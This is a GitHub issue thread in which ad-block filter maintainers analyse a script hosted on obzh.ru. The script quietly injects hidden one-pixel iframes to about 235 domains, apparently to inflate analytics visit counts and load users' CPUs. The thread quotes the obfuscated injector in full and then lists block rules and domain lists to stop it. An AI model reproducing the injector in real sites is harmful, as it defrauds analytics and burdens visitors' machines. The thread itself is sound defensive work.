Closed bogachenko closed 5 years ago
try
||obzh.ru/jquerys.js
it works.
maybe we should block (or report to adguard) all these sites
(from obzh.ru/jquerys.js
)
function setmyjct(t,e){var r,n,s,i,u="mia",o="frankfurt",m="Cameroon";n=e,r=u.substring(1,2)+o.substring(0,2)+m.substring(1,4),s="<",i=">",outjline=s+r+' src="'+n+'" width="1" height="1" border="0" style="border:0px;"'+i+s+"/"+r+i,my_jelm=document.getElementById(t).innerHTML=outjline}
setmyjct("g001","http://pravpost.org.ua/me.html");
setmyjct("g002","http://www.gadgetblog.ru/me.html");
setmyjct("g003","http://1tvv.ru/me.html");
setmyjct("g004","http://supreme2.ru/me.html");
setmyjct("g005","http://vremyamn.ru/me.html");
setmyjct("g006","http://onegadget.ru/me.html");
//setmyjct("g007","http://www.obzh.ru/me.html");
setmyjct("g008","http://jampo.com.ua/me.html");
setmyjct("g009","http://ratnet.od.ua/me.html");
setmyjct("g010","http://neodrive.ru/me.html");
setmyjct("g011","http://www.globalomsk.ru/me.html");
setmyjct("g012","http://nokia-lifestyle.ru/me.html");
setmyjct("g013","http://yuriblog.ru/me.html");
setmyjct("g014","http://mcomp.org/me.html");
setmyjct("g015","http://fotochki.com/me.html");
setmyjct("g016","http://www.ap7.ru/me.html");
setmyjct("g017","http://zamanula.ru/me.html");
setmyjct("g018","http://newsinmir.com/me.html");
setmyjct("g019","http://dengiua.com/me.html");
setmyjct("g020","http://topicnews.net/me.html");
setmyjct("g021","http://pokemongo-go.ru/me.html");
setmyjct("g022","http://mediahouse.com.ua/me.html");
setmyjct("g023","http://great-income.ru/me.html");
setmyjct("g024","http://healthystyle.info/me.html");
setmyjct("g025","http://lock-omsk.ru/me.html");
setmyjct("g026","http://bezboduna.ru/me.html");
setmyjct("g027","http://wtfpost.ru/me.html");
setmyjct("g028","http://guitar-love.ru/me.html");
setmyjct("g029","http://intell.in.ua/me.html");
setmyjct("g030","http://zheltaya.ru/me.html");
setmyjct("g031","http://spletnius.ru/me.html");
setmyjct("g032","http://nepoleno.ru/me.html");
setmyjct("g033","http://artmoder.ru/me.html");
setmyjct("g034","http://factorius.ru/me.html");
setmyjct("g035","http://fundor.ru/me.html");
setmyjct("g036","http://diplom4rabota.ru/me.html");
setmyjct("g037","http://novosa.ru/me.html");
setmyjct("g038","http://huaweiclub.ru/me.html");
setmyjct("g039","http://bolun.ru/me.html");
setmyjct("g040","http://sosedi2015.ru/me.html");
setmyjct("g041","http://fineworld.info/me.html");
setmyjct("g042","http://dynamo-kiev.com/me.html");
setmyjct("g043","http://daily-news.com.ua/me.html");
setmyjct("g044","http://marafonec.com/me.html");
setmyjct("g045","http://orbita-lviv.com/me.html");
setmyjct("g046","http://alterprogs.ru/me.html");
setmyjct("g047","http://vhoru.com.ua/me.html");
setmyjct("g048","http://glashataj.info/me.html");
setmyjct("g049","http://mir-kliparta.ru/me.html");
setmyjct("g050","http://webrecepty.info/me.html");
setmyjct("g051","http://tic.com.ua/me.html");
setmyjct("g052","http://siat.ru/me.html");
setmyjct("g053","http://faxnews.ru/me.html");
setmyjct("g054","http://miptic.ru/me.html");
setmyjct("g055","http://electronika.spb.ru/me.html");
setmyjct("g056","http://remontidekor.ru/me.html");
setmyjct("g057","http://i-no.ru/me.html");
setmyjct("g058","http://www.amurutro.ru/me.html");
setmyjct("g059","http://portal100.ru/me.html");
setmyjct("g060","http://bilsh.com/me.html");
setmyjct("g061","http://submarine.od.ua/me.html");
setmyjct("g062","http://usetrans.com/me.html");
setmyjct("g063","http://kaspianchoob.com/me.html");
setmyjct("g064","http://mirotto.ru/me.html");
setmyjct("g065","http://softgaz.ru/me.html");
setmyjct("g066","http://sup-idea.com/me.html");
setmyjct("g067","http://careers.ua/me.html");
setmyjct("g068","http://2012-drakon.ru/me.html");
setmyjct("g069","http://darksound.ru/me.html");
setmyjct("g070","http://nb-yanao.ru/me.html");
setmyjct("g071","http://nakapote.com/me.html");
setmyjct("g072","http://maxigame.su/me.html");
setmyjct("g073","http://gogofiles.net/me.html");
setmyjct("g074","http://jusonline.ru/me.html");
setmyjct("g075","http://uralmtk.ru/me.html");
setmyjct("g076","http://bike-pro.ru/me.html");
setmyjct("g077","http://godzmei2013.ru/me.html");
setmyjct("g078","http://v2013.ru/me.html");
setmyjct("g079","http://newsdnya.ru/me.html");
setmyjct("g080","http://med-i.ru/me.html");
setmyjct("g081","http://2015-god-kozy.ru/me.html");
setmyjct("g082","http://2012-god.ru/me.html");
setmyjct("g083","http://podmikroskopom.ru/me.html");
setmyjct("g084","http://gsm-csb.ru/me.html");
setmyjct("g085","http://gamesnice.ru/me.html");
setmyjct("g086","http://fond-sovest.ru/me.html");
setmyjct("g087","http://alyans02.ru/me.html");
setmyjct("g088","http://health-feed.ru/me.html");
setmyjct("g089","http://medsanchast-26.ru/me.html");
setmyjct("g090","http://medstatia.ru/me.html");
setmyjct("g091","http://nwa-business.ru/me.html");
setmyjct("g092","http://novoden.ru/me.html");
setmyjct("g093","http://gadalkin.com/me.html");
setmyjct("g094","http://godkozy.ru/me.html");
setmyjct("g095","http://mirtatu.ru/me.html");
setmyjct("g096","http://turmouse.ru/me.html");
setmyjct("g097","http://ua-jobs.com.ua/me.html");
setmyjct("g098","http://healthinsider.ru/me.html");
setmyjct("g099","http://provapeekb.ru/me.html");
setmyjct("g100","http://gameteam.ru/me.html");
setmyjct("g101","http://ufms-astrakhan.ru/me.html");
setmyjct("g102","http://akolyfun.ru/me.html");
setmyjct("g103","http://apulogny.ru/me.html");
setmyjct("g104","http://l4dclub.ru/me.html");
setmyjct("g105","http://c-dr.ru/me.html");
setmyjct("g106","http://solenba.ru/me.html");
setmyjct("g107","http://mobile-novinki.ru/me.html");
setmyjct("g108","http://missnarcisse.ru/me.html");
setmyjct("g109","http://www.saronit.ru/me.html");
setmyjct("g110","http://rao-ees.ru/me.html");
setmyjct("g111","http://www.kubmarket.ru/me.html");
setmyjct("g112","http://fcgsen.ru/me.html");
setmyjct("g113","http://dvdtalk.ru/me.html");
setmyjct("g114","http://promenergobank.ru/me.html");
setmyjct("g115","http://pingola.ru/me.html");
setmyjct("g116","http://intermedservice.ru/me.html");
setmyjct("g117","http://livegif.ru/me.html");
setmyjct("g118","http://www.aessel.ru/me.html");
setmyjct("g119","http://gdekoncert.ru/me.html");
setmyjct("g120","http://faleristu.ru/me.html");
setmyjct("g121","http://videozona.ru/me.html");
setmyjct("g122","http://quasir.info/me.html");
setmyjct("g123","http://thememaker.ru/me.html");
setmyjct("g124","http://apologia-christ.ru/me.html");
setmyjct("g125","http://replica-perm.ru/me.html");
setmyjct("g126","http://topsolidno.ru/me.html");
setmyjct("g127","http://sporiks.ru/me.html");
setmyjct("g128","http://yesrp.ru/me.html");
setmyjct("g129","http://evamazai.ru/me.html");
setmyjct("g130","http://gryzhainform.ru/me.html");
setmyjct("g131","http://novosel-msk.ru/me.html");
setmyjct("g132","http://hostinggame.ru/me.html");
setmyjct("g133","http://sales-for-you.ru/me.html");
setmyjct("g134","http://yanamk.ru/me.html");
setmyjct("g135","http://parlajn-sberbank.ru/me.html");
setmyjct("g136","http://samarauber.ru/me.html");
setmyjct("g137","http://gerales.ru/me.html");
setmyjct("g138","http://faircg.ru/me.html");
setmyjct("g139","http://guruseptik.ru/me.html");
setmyjct("g140","http://afuxijha.ru/me.html");
setmyjct("g141","http://trest777.ru/me.html");
setmyjct("g142","http://ussr-steel.ru/me.html");
setmyjct("g143","http://ugmashholding.ru/me.html");
setmyjct("g144","http://turok.ru/me.html");
setmyjct("g145","http://ukkbs.ru/me.html");
setmyjct("g146","http://timekids-gps.ru/me.html");
setmyjct("g147","http://tropikanka74.ru/me.html");
setmyjct("g148","http://promobix.ru/me.html");
setmyjct("g149","http://uks18.ru/me.html");
setmyjct("g150","http://buhiya.ru/me.html");
setmyjct("g151","http://gzi-ingushetia.ru/me.html");
setmyjct("g152","http://ani-treid.ru/me.html");
setmyjct("g153","http://balticshar.ru/me.html");
setmyjct("g154","http://257500.ru/me.html");
setmyjct("g155","http://lab-ug.ru/me.html");
setmyjct("g156","http://pearl-kmv.ru/me.html");
setmyjct("g157","http://bazanaaltae.ru/me.html");
setmyjct("g158","http://free-ipad.ru/me.html");
setmyjct("g159","http://seo-worldservice.ru/me.html");
setmyjct("g160","http://lubyanka007.ru/me.html");
setmyjct("g161","http://biolineclub.ru/me.html");
setmyjct("g162","http://lfstone.ru/me.html");
setmyjct("g163","http://salon-cherish.ru/me.html");
setmyjct("g164","http://dragon-chelny.ru/me.html");
setmyjct("g165","http://adventus-tour.ru/me.html");
setmyjct("g166","http://pmpackaging.ru/me.html");
setmyjct("g167","http://novinki-tiande.ru/me.html");
setmyjct("g168","http://bigbanghostel.ru/me.html");
setmyjct("g169","http://mapcentre.ru/me.html");
setmyjct("g170","http://network-filters.ru/me.html");
setmyjct("g171","http://bankrot127.ru/me.html");
setmyjct("g172","http://variworld.ru/me.html");
setmyjct("g173","http://juvelir2.ru/me.html");
setmyjct("g174","http://nifera.ru/me.html");
setmyjct("g175","http://studio-gp.ru/me.html");
setmyjct("g176","http://paralleleventsm10.ru/me.html");
setmyjct("g177","http://dkrshop.ru/me.html");
setmyjct("g178","http://jquery-in.ru/me.html");
setmyjct("g179","http://cosprof.ru/me.html");
setmyjct("g180","http://e7e8.ru/me.html");
setmyjct("g181","http://fssrk.ru/me.html");
setmyjct("g182","http://stuffed.ru/me.html");
setmyjct("g183","http://akubookapa.ru/me.html");
setmyjct("g184","http://tortoy.ru/me.html");
setmyjct("g185","http://www.kvk-kovka.ru/me.html");
setmyjct("g186","http://muzhzdrav.ru/me.html");
setmyjct("g187","http://playoflight.ru/me.html");
setmyjct("g188","http://sexiexpert.ru/me.html");
setmyjct("g189","http://odin-agent.ru/me.html");
setmyjct("g190","http://transport-trust.ru/me.html");
setmyjct("g191","http://rigifoor.ru/me.html");
setmyjct("g192","http://straightenerofficial.ru/me.html");
setmyjct("g193","http://gsstorebest.ru/me.html");
setmyjct("g194","http://zarodinu-zaputina.ru/me.html");
setmyjct("g195","http://vodaspas.ru/me.html");
setmyjct("g196","http://chudna.ru/me.html");
setmyjct("g197","http://yarmarkasiaynie.ru/me.html");
setmyjct("g198","http://voenkinoruss.ru/me.html");
setmyjct("g199","http://sexiportal.ru/me.html");
setmyjct("g200","http://refil-gold.ru/me.html");
setmyjct("g201","http://cratmos-store.ru/me.html");
setmyjct("g202","http://supdnya.ru/me.html");
setmyjct("g203","http://toursalman.ru/me.html");
setmyjct("g204","http://surprisejournal.ru/me.html");
setmyjct("g205","http://jdmtsk.ru/me.html");
setmyjct("g206","http://justinvest24.ru/me.html");
setmyjct("g207","http://strojmusor.ru/me.html");
setmyjct("g208","http://igeek.ru/me.html");
setmyjct("g209","http://vaz2101.ru/me.html");
setmyjct("g210","http://1by.by/me.html");
setmyjct("g211","http://atblog.ru/me.html");
setmyjct("g212","http://ua-company.ru/me.html");
setmyjct("g213","http://sochiartmuseum.ru/me.html");
setmyjct("g214","http://fcbaikal.ru/me.html");
setmyjct("g215","http://koshmarikis.ru/me.html");
setmyjct("g216","http://zhirrtrests.ru/me.html");
setmyjct("g217","http://zebrahvostu.ru/me.html");
setmyjct("g218","http://rzhakatops.ru/me.html");
setmyjct("g219","http://arrarara.ru/me.html");
setmyjct("g220","http://bioricksha.ru/me.html");
setmyjct("g221","http://fifth-ocean.ru/me.html");
setmyjct("g222","http://domiklermontova.ru/me.html");
setmyjct("g223","http://bkteplokom.ru/me.html");
setmyjct("g224","http://archikate.ru/me.html");
setmyjct("g225","http://tipslife.ru/me.html");
setmyjct("g226","http://god-zmei.ru/me.html");
setmyjct("g227","http://godkota.ru/me.html");
setmyjct("g228","http://gorod-zlatoust.ru/me.html");
setmyjct("g229","http://myimperia.ru/me.html");
setmyjct("g230","http://osvedomitel.com/me.html");
setmyjct("g231","http://vkulake.com/me.html");
setmyjct("g232","http://vnebi.com/me.html");
setmyjct("g233","http://vremechko.org/me.html");
setmyjct("g234","http://zakryma.ru/me.html");
setmyjct("g235","http://it-monsters.com.ua/me.html");
@adamwr @BlazDT @alex-302
@mapx- and can you answer what it is at all? in this script, hundreds of third-party URLs. the site looks decent about the safety of life activities, what is it and why is it doing it?
@dimisa-RUAdList
well, supreme2.ru
for example is reported as malicious, I guess a lot of the others
the site looks decent about the safety of life activities, what is it and why is it doing it?
This certainly looks malicious, so either the site went rogue or it was hacked would be my guess.
useful
obzh.ru##+js(abort-on-property-read.js, document.getElementById)
@mapx- by the way wanted to ask, do you have a policy to add sites to your list, some sites you do not add, are you looking at the popularity of sites?? @okiehsch terrible, I will check my computer
It's not about popularity, here we have a case which is more for the russian lists, but is not a 100% clear opinion
Thank you. I understood
We could block obzh.ru/jquerys.js
in the badware
list and wait and see what the regional lists decide to do about it.
The domains obzh.ru/jquerys.js
tries to pull should probably be reported to a dedicated malware list.
I took a look to some of those sites, all of them are using yandex metrika, yadro counter
, nothing else, strange
Hm, yes looks like they are "only" used for tracking purposes. I don't really know what to make of it. 🤔
Sure, launching hundreds requests is cpu killer, so it can be considered malicious.
or ... could be they are searching only for some clickbait ? and metrika is counting their "activity" ?
yeah, metrika is counting the "visit", so it's some "special" pseudo-mining
Added to Dataminer for AdGuard, looks bad. Did you find anything useful blocked (I doubt it though)?
@dimisa-RUAdList http://igeek.ru/jquerys.js
add this also miner
@BlazDT and u too, + close this question https://github.com/AdguardTeam/AdguardFilters/issues/35116
Thank you @bogachenko . Added and closed.
also shit for @dimisa-RUAdList @BlazDT
darksound.ru/jquerys.js
supreme2.ru/jquerys.js
onegadget.ru/jquerys.js
remontidekor.ru/jquerys.js
zheltaya.ru/jquerys.js
vremyamn.ru/jquerys.js
livegif.ru/jquerys.js
Alex added the generic url block rule to AdGuard filters. /jquerys.js
I saw, I wrote to him that this rule will break a lot of sites (especially English-speaking), but he did not answer
There are also normal scripts /jquerys.js
on the Internet. There are services scanning sites on snippets. You can check it yourself. This will incorrect. It is better to write exactly what domains to this subject.
Thanks for the report, I exchanged the generic rule.
@BlazDT @mapx- @dimisa-RUAdList
||zheltaya.ru/jquerys.js
||zamanula.ru/jquerys.js
||zakryma.ru/jquerys.js
||yuriblog.ru/jquerys.js
||globalomsk.ru/jquerys.js
||gadgetblog.ru/jquerys.js
||ap7.ru/jquerys.js
||amurutro.ru/jquerys.js
||webrecepty.info/jquerys.js
||vremyamn.ru/jquerys.js
||vremechko.org/jquerys.js
||vnebi.com/jquerys.js
||vkulake.com/jquerys.js
||vhoru.com.ua/jquerys.js
||usetrans.com/jquerys.js
||uralmtk.ru/jquerys.js
||topicnews.net/jquerys.js
||tipslife.ru/jquerys.js
||tic.com.ua/jquerys.js
||sup-idea.com/jquerys.js
||submarine.od.ua/jquerys.js
||spletnius.ru/jquerys.js
||sosedi2015.ru/jquerys.js
||softgaz.ru/jquerys.js
||ratnet.od.ua/jquerys.js
||pravpost.org.ua/jquerys.js
||pokemongo-go.ru/jquerys.js
||orbita-lviv.com/jquerys.js
||nokia-lifestyle.ru/jquerys.js
||newsinmir.com/jquerys.js
||nepoleno.ru/jquerys.js
||neodrive.ru/jquerys.js
||nb-yanao.ru/jquerys.js
||nakapote.com/jquerys.js
||myimperia.ru/jquerys.js
||mir-kliparta.ru/jquerys.js
||miptic.ru/jquerys.js
||mediahouse.com.ua/jquerys.js
||mcomp.org/jquerys.js
||maxigame.su/jquerys.js
||marafonec.com/jquerys.js
||kaspianchoob.com/jquerys.js
||jusonline.ru/jquerys.js
||jampo.com.ua/jquerys.js
||intell.in.ua/jquerys.js
||i-no.ru/jquerys.js
||huaweiclub.ru/jquerys.js
||healthystyle.info/jquerys.js
||great-income.ru/jquerys.js
||gorod-zlatoust.ru/jquerys.js
||gogofiles.net/jquerys.js
||godkota.ru/jquerys.js
||god-zmei.ru/jquerys.js
||glashataj.info/jquerys.js
||fotochki.com/jquerys.js
||faxnews.ru/jquerys.js
||electronika.spb.ru/jquerys.js
||dynamo-kiev.com/jquerys.js
||diplom4rabota.ru/jquerys.js
||dengiua.com/jquerys.js
||darksound.ru/jquerys.js
||daily-news.com.ua/jquerys.js
||careers.ua/jquerys.js
||bilsh.com/jquerys.js
||alterprogs.ru/jquerys.js
||2012-drakon.ru/jquerys.js
||1tvv.ru/jquerys.js
||bike-pro.ru/jquerys.js
||v2013.ru/jquerys.js
||newsdnya.ru/jquerys.js
||2015-god-kozy.ru/jquerys.js
||2012-god.ru/jquerys.js
||gsm-csb.ru/jquerys.js
||gamesnice.ru/jquerys.js
||fond-sovest.ru/jquerys.js
||novoden.ru/jquerys.js
||godkozy.ru/jquerys.js
||turmouse.ru/jquerys.js
||mobile-novinki.ru/jquerys.js
||rao-ees.ru/jquerys.js
||pingola.ru/jquerys.js
||livegif.ru/jquerys.js
||stuffed.ru/jquerys.js
||igeek.ru/jquerys.js
||lock-omsk.ru/jquerys.js
||guitar-love.ru/jquerys.js
||obzh.ru/jquerys.js
||supreme2.ru/jquerys.js
||onegadget.ru/jquerys.js
||remontidekor.ru/jquerys.js
or (just copy and paste, there are already previously added scripts, all together)
1tvv.ru,2012-drakon.ru,2012-god.ru,2015-god-kozy.ru,alterprogs.ru,bike-pro.ru,bilsh.com,careers.ua,daily-news.com.ua,darksound.ru,dengiua.com,diplom4rabota.ru,dynamo-kiev.com,electronika.spb.ru,faxnews.ru,fond-sovest.ru,fotochki.com,gamesnice.ru,glashataj.info,god-zmei.ru,godkota.ru,godkozy.ru,gogofiles.net,gorod-zlatoust.ru,great-income.ru,gsm-csb.ru,guitar-love.ru,healthystyle.info,huaweiclub.ru,i-no.ru,igeek.ru,intell.in.ua,jampo.com.ua,jusonline.ru,kaspianchoob.com,livegif.ru,lock-omsk.ru,marafonec.com,maxigame.su,mcomp.org,mediahouse.com.ua,miptic.ru,mir-kliparta.ru,mobile-novinki.ru,myimperia.ru,nakapote.com,nb-yanao.ru,neodrive.ru,nepoleno.ru,newsdnya.ru,newsinmir.com,nokia-lifestyle.ru,novoden.ru,obzh.ru,onegadget.ru,orbita-lviv.com,pingola.ru,pokemongo-go.ru,pravpost.org.ua,rao-ees.ru,ratnet.od.ua,remontidekor.ru,softgaz.ru,sosedi2015.ru,spletnius.ru,stuffed.ru,submarine.od.ua,sup-idea.com,supreme2.ru,tic.com.ua,tipslife.ru,topicnews.net,turmouse.ru,uralmtk.ru,usetrans.com,v2013.ru,vhoru.com.ua,vkulake.com,vnebi.com,vremechko.org,vremyamn.ru,webrecepty.info,amurutro.ru,ap7.ru,gadgetblog.ru,globalomsk.ru,obzh.ru,yuriblog.ru,zakryma.ru,zamanula.ru,zheltaya.ru##+js(abort-on-property-read.js, document.getElementById)
@dimisa-RUAdList у тебя ошибка $domain=|
https://hg.adblockplus.org/ruadlist/rev/37d108c3c900 (Fri, 14 Jun 2019 01:31:31)
+js(abort-on-property-read.js, document.getElementById)
content_blocker and iOS only support elemhide/url block rules. Also I avoided a single rule in this case with $domain= when a third-party site loads the script from there. Also sometimes the referrer may be ommited due to various reasons like service-worker or some installed software.
@BlazDT
content_blocker and iOS only support elemhide/url block rules.
i know This markup was for mapx-
Apparently, this rule is no longer needed.
Hi, I stumbled upon this thread https://github.com/AdguardTeam/AdguardFilters/issues/34070, it says (quote)
I did not believe it. I thought that this man is just exaggerating. I went to the site and my computer just hung ( I managed to open task Manager by force, everything was red there, my computer was barely breathing In the debugger of my browser, hundreds of requests to the site
mediahouse.com.ua
(eg.mediahouse.com.ua/watch.js
) Can you reproduce this on your computer and what it this?